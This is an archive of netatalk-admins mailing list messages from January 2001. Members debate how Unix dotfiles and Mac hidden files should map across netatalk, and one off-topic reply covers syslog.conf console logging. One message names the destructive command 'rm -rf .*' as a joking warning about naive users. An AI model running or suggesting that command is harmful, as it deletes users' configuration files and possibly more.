<P><FONT SIZE=3D2>Any other thingy (command, API) in the U*X world =
&quot;sees&quot; everything in a directory.</FONT>
</P>

<P><FONT SIZE=3D2>&lt;Proof&gt;</FONT>
<BR><FONT SIZE=3D2>Proof program in Perl:</FONT>
<BR><FONT SIZE=3D2>----cut there----</FONT>
<BR><FONT SIZE=3D2>#!/usr/local/bin/perl</FONT>
<BR><FONT SIZE=3D2>exit unless @ARGV;</FONT>
<BR><FONT SIZE=3D2>$dir =3D shift @ARGV;</FONT>
<BR><FONT SIZE=3D2>opendir(DIR,$dir);</FONT>
<BR><FONT SIZE=3D2>print &quot;Dir entries are: &quot;, =
join(&quot;\n&quot;,readdir(DIR)), &quot;\n&quot;;</FONT>
<BR><FONT SIZE=3D2>closedir(DIR);</FONT>
<BR><FONT SIZE=3D2>----cut there----</FONT>
</P>

<P><FONT SIZE=3D2>Run this with any directory as the first argument and =
you will get a listing of all files in it.</FONT>
<BR><FONT SIZE=3D2>You see, no filter, just a plain readdir() which is =
the exact equivalent of the native C-language one.</FONT>
<BR><FONT SIZE=3D2>&lt;/Proof&gt;</FONT>
</P>

<P><FONT SIZE=3D2>Moreover, as some people already pointed out, a =
dot-file is a valid name on a Mac.</FONT>
</P>

<P><FONT SIZE=3D2>Given that, I wonder HOW anyone is supposed to =
justify that netatalk would by any mean translate a dot-file into an =
invisible file.</FONT></P>

<P><FONT SIZE=3D2>My personal point of view would be to be horrified by =
such a beast!</FONT>
<BR><FONT SIZE=3D2>Of course, implementing whatever the community want =
is possible, such as &quot;Veto&quot; files as in SaMBa . But please: =
don't make it the default, for the sake of my rest! :-)</FONT></P>

<P><FONT SIZE=3D2>HTH</FONT>
<BR><FONT SIZE=3D2>Thierry</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Ray Zimmerman [<A =
HREF=3D"mailto:rz10@cornell.edu">mailto:rz10@cornell.edu</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Thursday, January 18, 2001 6:36 PM</FONT>
<BR><FONT SIZE=3D2>To: Netatalk List</FONT>
<BR><FONT SIZE=3D2>Subject: Re: Hidden Files Not Being Copied</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>At 10:30 AM -0500 1/18/01, Bill Moran wrote:</FONT>
<BR><FONT SIZE=3D2>&gt;I'm not terribly familiar with Macs, how do you =
set a file to be</FONT>
<BR><FONT SIZE=3D2>&gt;invisible?</FONT>
</P>

<P><FONT SIZE=3D2>Each file has a set of attributes stored with it =
indicating whether </FONT>
<BR><FONT SIZE=3D2>it is visible, the file type, creator app, whether =
it is locked, etc.</FONT>
</P>

<P><FONT SIZE=3D2>I should also mention that on MacOS a filename =
starting with a . is </FONT>
<BR><FONT SIZE=3D2>NOT an illegal name. Or to get rid of the double =
negative ... it's </FONT>
<BR><FONT SIZE=3D2>JUST FINE. I have .htaccess files on my Mac and =
they've never behaved </FONT>
<BR><FONT SIZE=3D2>any differently than files with other names.</FONT>
</P>

<P><FONT SIZE=3D2>The problem is that in *nix the . means it's =
invisible, whereas on </FONT>
<BR><FONT SIZE=3D2>the Mac it just means that you wanted to call your =
file .&lt;something&gt; </FONT>
<BR><FONT SIZE=3D2>... netatalk has to try to do what you want and I =
think it seems to </FONT>
<BR><FONT SIZE=3D2>be doing pretty close to the right thing, though it =
does seem that it </FONT>
<BR><FONT SIZE=3D2>could take .files (with the exception of =
.AppleDouble) and treat them </FONT>
<BR><FONT SIZE=3D2>as .files with the invisible bit set (I see no need =
to change the </FONT>
<BR><FONT SIZE=3D2>name). This way they would be &quot;seen&quot; by =
the MacOS (but not by the Mac </FONT>
<BR><FONT SIZE=3D2>user) and hence copied along with the enclosing =
folder.</FONT>
</P>

<P><FONT SIZE=3D2>Thoughts?</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>Ray</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C08213.EA161880--

From netatalk.administrators-errors@umich.edu  Fri Jan 19 08:39:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA23610
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 08:39:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA03473
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 08:39:12 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA03463
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 08:39:11 -0500 (EST)
Received: from tsmtp4.mail.isp ([195.235.113.151])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA03410
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 08:39:09 -0500 (EST)
Received: from cubeship.borgspace.alpha ([213.97.106.73]) by
          tsmtp4.mail.isp (Netscape Messaging Server 4.15) with ESMTP id
          G7EWHF00.53I for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001
          14:36:51 +0100 
Received: from tangy.borgspace.alpha ([10.0.0.3] helo=tangy)
	by cubeship.borgspace.alpha with smtp (Exim 3.12 #1 (Debian))
	id 14JbkR-0002uc-00
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 14:38:35 +0100
Date: Fri, 19 Jan 2001 14:38:06 +0100
Reply-To: jasonq@usa.net
Content-Type: text/plain;
	charset=us-ascii
From: Jason Quigley <jasonq@usa.net>
To: Netatalk List <netatalk-admins@umich.edu>
Subject: RE: Hidden Files Not Being Copied
Message-Id: <E14JbkR-0002uc-00@cubeship.borgspace.alpha>
Mime-Version: 1.0
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA23610

I think that one thing has been proven by this thread: the documentation is inadequate.
I know that the config files and source have some documentation in them but it's a long way to go to try and get things running smoothly. I'd offer to do the docs myself, but I'm already working 28 hours a day!



Cheers,
Jason.


On Friday, January 19, 2001, at 01:32 PM, Michalowski Thierry wrote:

> OK folks, let's clarify something on the U*X side. 
>  
> A file beginning with a . is definitely NOT MEANT to be "invisible". 
> It is only that the default "ls" command behaviour is to filter out these 
> files, for readability purposes. 
> And the default shell wildcard, "*", too. 
>  
> Any other thingy (command, API) in the U*X world "sees" everything in a 
> directory. 
>  

From netatalk.administrators-errors@umich.edu  Fri Jan 19 09:35:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA24922
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 09:35:10 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11972
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 09:35:10 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA11941
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 09:35:09 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA11890
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 09:35:07 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f0JEYtZ27107
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 14:35:03 GMT
To: netatalk-admins@umich.edu
Subject: Re: Hidden Files Not Being Copied
References: <3.0.3.32.20010118182046.031f39a0@mailhost.cam.harlequin.co.uk> <p0432040db68ce9d932c9@[128.84.239.190]>
     <3A676809.F97BC22E@mail.iowna.com> <01011906253702.00573@athlet> <m2n.23440.3A67D645.6E114681@mail.iowna.com>
Reply-To: sinclair@dis.strath.ac.uk
Date: Fri, 19 Jan 2001 14:34:55 +0000
Message-ID: <27104.979914895@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>


>The sequence may be slightly different than I described. Here was
>exactly what I was doing ...
>1. Use WinNT to copy a folder tree full of stuff onto the FreeBSD server
>via Samba
>2. Sit down at the FreeBSD box and verify that the files/directories had
>ownership/perms that it should be deletable by Netatalk users.
>3. Attempt to delete the folder tree from a Mac
>Result: all files are deleted, directories are not. Mac give a "can not
>delete because in use" error.
>On the server, the .AppleDouble files remain (these were created by
>Netatalk when the Mac browsed the tree) but no other files exist ... "rm
>-r *" deletes the tree without error. It can also be deleted from the
>WinNT station.


Do any of the files have a name longer than 32 characters???

These files also are never seem by a Mac, and so cannot be deleted,
and a directory containing them will not be deleteable.



Duncan.


From netatalk.administrators-errors@umich.edu  Fri Jan 19 09:55:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA25487
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 09:55:43 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA02254
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 09:55:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA02233
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 09:55:37 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA02178
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 09:55:35 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f0JEtcZ27318
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 14:55:39 GMT
To: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Hidden Files Not Being Copied
References: <9F9FCF268C46D411B60600508B6F8726A275D4@meloe.edipresse.ch>
Reply-To: sinclair@dis.strath.ac.uk
Date: Fri, 19 Jan 2001 14:55:38 +0000
Message-ID: <27316.979916138@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>

Hi,

>OK folks, let's clarify something on the U*X side.

Let's do a similar clarification on the Mac side then...

>A file beginning with a . is definitely NOT MEANT to be "invisible".
>It is only that the default "ls" command behaviour is to filter out these
>files, for readability purposes.
>And the default shell wildcard, "*", too.

A file marked "hidden" on the Mac is NOT "invisible".
It is only that the behaviour of the Finder is to filter out these
files, for simplicity.

>Any other thingy (command, API) in the U*X world "sees" everything in a
>directory.

Any other thing (e.g. standard file open dialogue) in the Mac world
"sees" everything in the folder.

(Unless it has been filtered for not being the right type.)

>Given that, I wonder HOW anyone is supposed to justify that netatalk would
>by any mean translate a dot-file into an invisible file.

Because people on the Mac don't want to see dot files for the same reasons
as people on Unix don't want to see them.

>My personal point of view would be to be horrified by such a beast!
>Of course, implementing whatever the community want is possible, such as
>"Veto" files as in SaMBa . But please: don't make it the default, for the
>sake of my rest! :-)

Well the current, default behaviour is as you describe - dotfiles
cannot be seen at all on the Mac - are you horrified?  Are you
still sleeping?  :-)

The fact is that dot files on Unix and hidden files on Mac exist
is really for the same reason - to keep important-to-the-system,
but un-important-to-the-user, files away from the user so that
they can get on with their tasks without extra hassle.

(e.g. Typical "Joe MacUser" would try to trash "Desktop" files found
lying around.  Typical (niave) unix user might not like seeing ~100
odd dot files in his/her home directory (e.g. .Xauthority) and might
try "rm -rf .*" - don't try this at home folks!)

Same objective, different methodology, same result.

Cheers,



Duncan.

PS> If you've read this far, thanks...  Now does anyone know if the
latest version of Netatalk compiles and works on Solaris (7)?


From netatalk.administrators-errors@umich.edu  Fri Jan 19 09:59:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA25573
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 09:59:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA08563
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 09:59:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA08535
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 09:59:14 -0500 (EST)
Received: from clmboh1-smtp3.columbus.rr.com (dhcp065-024-000-112.columbus.rr.com [65.24.0.112] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA08484
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 09:59:12 -0500 (EST)
Received: from mail.iowna.com (dhcp065-024-023-038.columbus.rr.com [65.24.23.38])
	by clmboh1-smtp3.columbus.rr.com (8.11.2/8.11.2) with ESMTP id f0JEuv715368;
	Fri, 19 Jan 2001 09:56:57 -0500 (EST)
Sender: wmoran@clmboh1-smtp3.columbus.rr.com
Message-ID: <3A68559C.8395F695@mail.iowna.com>
Date: Fri, 19 Jan 2001 09:56:28 -0500
From: Bill Moran <wmoran@mail.iowna.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.2-STABLE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: sinclair@dis.strath.ac.uk
CC: netatalk-admins@umich.edu
Subject: Re: Hidden Files Not Being Copied
References: <3.0.3.32.20010118182046.031f39a0@mailhost.cam.harlequin.co.uk> <p0432040db68ce9d932c9@[128.84.239.190]>
	     <3A676809.F97BC22E@mail.iowna.com> <01011906253702.00573@athlet> <m2n.23440.3A67D645.6E114681@mail.iowna.com> <27104.979914895@dis.strath.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Duncan Sinclair wrote:
> 
> >The sequence may be slightly different than I described. Here was
> >exactly what I was doing ...
> >1. Use WinNT to copy a folder tree full of stuff onto the FreeBSD server
> >via Samba
> >2. Sit down at the FreeBSD box and verify that the files/directories had
> >ownership/perms that it should be deletable by Netatalk users.
> >3. Attempt to delete the folder tree from a Mac
> >Result: all files are deleted, directories are not. Mac give a "can not
> >delete because in use" error.
> >On the server, the .AppleDouble files remain (these were created by
> >Netatalk when the Mac browsed the tree) but no other files exist ... "rm
> >-r *" deletes the tree without error. It can also be deleted from the
> >WinNT station.
> 
> Do any of the files have a name longer than 32 characters???
> 
> These files also are never seem by a Mac, and so cannot be deleted,
> and a directory containing them will not be deleteable.

Nope, already been checked. In my tests I created directory trees
/test/test/test with files called test.txt in them. Same behaviour
though.

Thanks for the reply.

My original question still stands: Can anyone duplicate this behaviour?
Has anyone tried and got different results than me?

-Bill

From netatalk.administrators-errors@umich.edu  Fri Jan 19 12:02:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA28855
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 12:02:08 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA22756
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 12:02:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA22737
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 12:02:02 -0500 (EST)
Received: from leonids.lunar.com (c06-045.006.popsite.net [64.24.38.45])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA22679
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 12:01:59 -0500 (EST)
Received: (from miketec@localhost)
	by leonids.lunar.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id JAA01768;
	Fri, 19 Jan 2001 09:02:13 -0800
Message-Id: <200101191702.JAA01768@leonids.lunar.com>
Subject: Re: Off Topic DNS problem
From: Mike Johnson <mikej@lunar.com>
To: Heath Henderson <heath@dave-world.net>
Cc: Appletalk on Linux <LINUX-ATALK@NETSPACE.ORG>, netatalk-admins@umich.edu
In-Reply-To: <NDBBLIPGCLLELIOOICKOIEHADJAA.heath@dave-world.net>
Content-Type: text/plain
X-Mailer: Evolution 0.8 (Developer Preview)
Date: 19 Jan 2001 09:02:13 -0800
Mime-Version: 1.0

Hello,

I can't say that I've seen that problem before, but you can modify what
messages are sent to the console.

Save a backup copy of /etc/syslog.conf and open syslog.conf. Look for
(probably) the first line that's something like this:

kern.*          /dev/console

change it to something like

kern.*   /var/log/kernel

or wherever you store your log files. If there is anything else in that
file that says /dev/console, you might want to send that info to a text
file, too.

If you still want to get kernel error messages, then add this line.

kern.err   /dev/console

I can't say what priority of error the one you are describing is, but
hopefully the .err will filter the less important info. Check out 'man
syslog.conf', too.

- Mike Johnson

On 19 Jan 2001 06:06:26 -0600, Heath Henderson wrote:

> Hello all, I am writing this in hopes that someone knows of my problem.  It
> isn't really a problem but more of an irritation.  I just upgraded our DNS
> server RH 6.2 from Kernel 2.2.12 to 2.2.16.  All went well but now After a
> reboot I get Reverse Lookup failure errors.  They hit our Proxy server and
> die, but I am not sure why they are being displayed.  They look like the
> following
> 
> IP_MasQ:Reverse ICMP:failed checksum from xxx.xxx.xxx.xx
> 
> (Where xxx.xxx.xxx.xx is our Proxy server)
> 
> I am not sure how it was set up before, but I am sure that it is possible to
> turn this display off so as I do not see this when I am in the middle of
> working on things on this box.  I am not sure why it does this, but I need
> to turn off the constant display of this.
> 
> Any help would be great.
> 
> Thanks
> 
> Heath Henderson

From netatalk.administrators-errors@umich.edu  Fri Jan 19 12:13:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA29050
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 12:13:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA20018
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 12:13:13 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA19995
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 12:13:12 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA19960
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 12:13:11 -0500 (EST)
Received: (qmail 3857 invoked by uid 500); 19 Jan 2001 17:13:09 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14952.30117.576631.147907@h0050da615e79.ne.mediaone.net>
Date: Fri, 19 Jan 2001 12:13:09 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: sinclair@dis.strath.ac.uk
Cc: Netatalk List <netatalk-admins@umich.edu>
Subject: Re: Hidden Files Not Being Copied
In-Reply-To: <27316.979916138@dis.strath.ac.uk>
References: <9F9FCF268C46D411B60600508B6F8726A275D4@meloe.edipresse.ch>
	<27316.979916138@dis.strath.ac.uk>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Duncan Sinclair <sinclair@dis.strath.ac.uk>
   Date: Fri, 19 Jan 2001 14:55:38 +0000

   The fact is that dot files on Unix and hidden files on Mac exist
   is really for the same reason - to keep important-to-the-system,
   but un-important-to-the-user, files away from the user so that
   they can get on with their tasks without extra hassle.

I would go further.  Dot-files on Unix generally exist for Unix-specific
purposes, and hidden files on the Mac exist for Mac-specific purposes,
so it is pointless at best, and possibly counterproductive, to move them
from Unix to Mac or vice versa.  That is why I think netatalk's default
behavior with respect to dot-files is optimal.

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Fri Jan 19 12:39:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA29742
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 12:39:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA12382
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 12:39:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA12358
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 12:39:47 -0500 (EST)
Received: from quartz.dis.strath.ac.uk (quartz.dis.strath.ac.uk [130.159.120.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA12317
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 12:39:46 -0500 (EST)
Received: from dis.strath.ac.uk (localhost [127.0.0.1])
	by quartz.dis.strath.ac.uk (8.11.0/8.11.0/2.7) with ESMTP id f0JHdgZ29052;
	Fri, 19 Jan 2001 17:39:42 GMT
To: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>, netatalk-admins@umich.edu
Subject: Re: Hidden Files Not Being Copied 
In-reply-to: Your message of "Fri, 19 Jan 2001 12:13:09 EST."
Date: Fri, 19 Jan 2001 17:39:42 +0000
Message-ID: <29050.979925982@dis.strath.ac.uk>
From: Duncan Sinclair <sinclair@dis.strath.ac.uk>

Hi,

Bob Rogers writes:
>   From: Duncan Sinclair <sinclair@dis.strath.ac.uk>
>   Date: Fri, 19 Jan 2001 14:55:38 +0000
>
>   The fact is that dot files on Unix and hidden files on Mac exist
>   is really for the same reason - to keep important-to-the-system,
>   but un-important-to-the-user, files away from the user so that
>   they can get on with their tasks without extra hassle.
>
>I would go further.  Dot-files on Unix generally exist for Unix-specific
>purposes, and hidden files on the Mac exist for Mac-specific purposes,
>so it is pointless at best, and possibly counterproductive, to move them
>from Unix to Mac or vice versa.  That is why I think netatalk's default
>behavior with respect to dot-files is optimal.

And how about files like ".htaccess"?

If you're developing a web site on your Mac for delivery on Apache
running on Unix, you've got every right and reason to be wanting
to edit dot files.

Cheers,


Duncan.


From netatalk.administrators-errors@umich.edu  Fri Jan 19 12:50:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA00006
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 12:50:30 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14883
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 12:50:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA14865
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 12:50:24 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA14828
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 12:50:22 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Fri, 19 Jan 2001 17:50:28 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 19 Jan 2001 17:50:26 +0000
Subject: Re: Off Topic DNS problem
From: Basil Hussain <basil.hussain@specialreserve.net>
To: Mike Johnson <mikej@lunar.com>
CC: <netatalk-admins@umich.edu>
Message-ID: <B68E2EE2.2B0A%basil.hussain@specialreserve.net>
In-Reply-To: <200101191702.JAA01768@leonids.lunar.com>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi,

> I can't say that I've seen that problem before, but you can modify what
> messages are sent to the console.
> 
> Save a backup copy of /etc/syslog.conf and open syslog.conf. Look for
> (probably) the first line that's something like this:
> 
> kern.*          /dev/console
> 
> change it to something like
> 
> kern.*   /var/log/kernel

Wow, thanks! I've been wanting to find out what settings to modify to do
exactly this for ages! And now your advice to someone else turns up out of
the blue...

This is gonna be a real boon. I've been trying to keep track of kernel-level
networking errors ("Suspect short first fragment" errors, if anyone can tell
me what they mean) on a couple of my servers that I suspect are being
generated by some evil port-scanning technique, but as they only got logged
to the console I miss most of them.

Anyway, thanks again!

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


From netatalk.administrators-errors@umich.edu  Fri Jan 19 13:00:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA00246
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 13:00:18 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA20766
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 13:00:18 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA20746
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 13:00:18 -0500 (EST)
Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA20695
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 13:00:17 -0500 (EST)
Received: from [128.84.239.190] (harrier.ee.cornell.edu [128.84.239.190])
	by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id NAA19672;
	Fri, 19 Jan 2001 13:00:12 -0500 (EST)
Mime-Version: 1.0
X-Sender: rz10@postoffice.mail.cornell.edu
Message-Id: <p04320403b68e30b74a3a@[128.84.239.190]>
In-Reply-To: <29050.979925982@dis.strath.ac.uk>
References: <29050.979925982@dis.strath.ac.uk>
Date: Fri, 19 Jan 2001 12:59:21 -0500
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>,
        Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>,
        netatalk-admins@umich.edu
From: Ray Zimmerman <rz10@cornell.edu>
Subject: Re: Hidden Files Not Being Copied
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>And how about files like ".htaccess"?
>
>If you're developing a web site on your Mac for delivery on Apache
>running on Unix, you've got every right and reason to be wanting
>to edit dot files.

So, does anyone know if it is possible with the current netatalk 
config options to set it up so that the Mac can see dotfiles as 
VISIBLE files?

	Ray

From netatalk.administrators-errors@umich.edu  Fri Jan 19 13:07:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA00439
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 19 Jan 2001 13:07:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14050
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 19 Jan 2001 13:07:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA14023
	for netatalk.administrators-members@umich.edu; Fri, 19 Jan 2001 13:07:14 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA13951
	for <netatalk-admins@umich.edu>; Fri, 19 Jan 2001 13:07:13 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Fri, 19 Jan 2001 18:07:17 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 19 Jan 2001 18:07:15 +0000
Subject: Re: Hidden Files Not Being Copied 
